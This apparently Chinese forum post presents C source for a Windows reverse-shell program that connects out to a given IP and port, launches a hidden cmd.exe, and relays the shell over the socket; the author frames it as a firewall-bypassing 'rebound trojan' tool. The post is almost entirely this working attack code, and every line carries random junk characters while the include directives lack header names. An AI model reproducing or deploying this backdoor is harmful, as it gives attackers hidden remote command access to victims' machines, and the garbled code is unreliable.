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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S[y?>  
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/* ============================== gmCB4MO  
Rebound port in Windows NT V4. }wz_Y  
By wind,2006/7 \eCQL(_  
===============================*/ Wdp4'rB  
#include ]4[^S.T=  
#include #{~3bgY  
 Fq!- %Y  
#pragma comment(lib,"wsock32.lib") ;m}o$`  
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void OutputShell(); `7Dj}vVu  
SOCKET sClient; i&Me7=~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eR!K8W  
(RLJ_M|;/b  
void main(int argc,char **argv) &Ui&2 EW  
{ pbNW l/|4  
WSADATA stWsaData; *cc|(EM  
int nRet; t_iZ\_8  
SOCKADDR_IN stSaiClient,stSaiServer; Cgn@@P5ZC  
e:(~=9}Li  
if(argc != 3) *Edr\P  
{ K@@Jt  
printf("Useage:\n\rRebound DestIP DestPort\n"); XaYgl&x'!x  
return; oT^r  
} }>m3V2>[  
k6??+b:rE  
WSAStartup(MAKEWORD(2,2),&stWsaData); y5:al7*P  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -P$E)5?^  
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stSaiClient.sin_family = AF_INET; YL@d+ -\  
stSaiClient.sin_port = htons(0); \?NT,t=3J  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;aUI3n%  
mG+hLRTXP  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !@@rO--&  
{ `*Jw[Bnh8  
printf("Bind Socket Failed!\n"); Xj;5i Vq  
return; Ge4 tc  
} 9p9-tJfH.  
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stSaiServer.sin_family = AF_INET; q pFzK  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g<PdiVp+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z.mnD+{  
*,oZ]!   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :]-? l4(%  
{ AV?<D.<  
printf("Connect Error!"); }S>:!9f  
return; !d=Q@oy5  
} qYR+qSAJP  
OutputShell(); OvW/{  
} bHH=MLZR:  
,__|SnA.  
void OutputShell() s`"ALn8m  
{ be5NasC  
char szBuff[1024]; # fl%~Y  
SECURITY_ATTRIBUTES stSecurityAttributes; h}$]3/5H  
OSVERSIONINFO stOsversionInfo; 4!tHJCq"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m#(ve1E  
STARTUPINFO stStartupInfo; 8v']>5S]#  
char *szShell; 1~Z Kpvu  
PROCESS_INFORMATION stProcessInformation; ^9I^A!w=  
unsigned long lBytesRead; sTG e=}T8  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); . G ~,h  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S~4HFNe^&  
stSecurityAttributes.lpSecurityDescriptor = 0; i*%2 e)  
stSecurityAttributes.bInheritHandle = TRUE; <jRs/?1R  
Gq r(.  
{cBLm/C  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G.c@4Wz+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cP MUu9du  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &t w   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =rDIU&0Y  
stStartupInfo.wShowWindow = SW_HIDE; @OPyT  
stStartupInfo.hStdInput = hReadPipe; )SYZ*=ezl.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?W"9G0hTqM  
6'N!)b^-  
GetVersionEx(&stOsversionInfo); )04lf*ti  
';?b99  
switch(stOsversionInfo.dwPlatformId) R0*+GIRA(  
{ T4{&@b 0*  
case 1: CfnRcnms  
szShell = "command.com"; 'zhw]L;'g  
break; 0yxMIX  
default: id.W"5+  
szShell = "cmd.exe"; J8yi#A>+  
break; y3!=0uPf  
} DqHVc)9  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #/9(^6f:  
K*Tvo `  
send(sClient,szMsg,77,0); tEl4 !v A  
while(1) ;{inhiySN  
{ ;DKwv}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !&Q3>8l  
if(lBytesRead) 8}W06k>)%  
{ :1wMGk  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?y{C"w!   
send(sClient,szBuff,lBytesRead,0); s:/.:e_PU  
} , eZL&n  
else 2;`"B|-T  
{ ]-aeoa#  
lBytesRead=recv(sClient,szBuff,1024,0); 9{bzxM  
if(lBytesRead<=0) break; :[N[D#/z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3rZ"T  
} (dF4F4`{  
} ]Zim8^n?`.  
hexq]'R  
return; +mT}};-TS  
}
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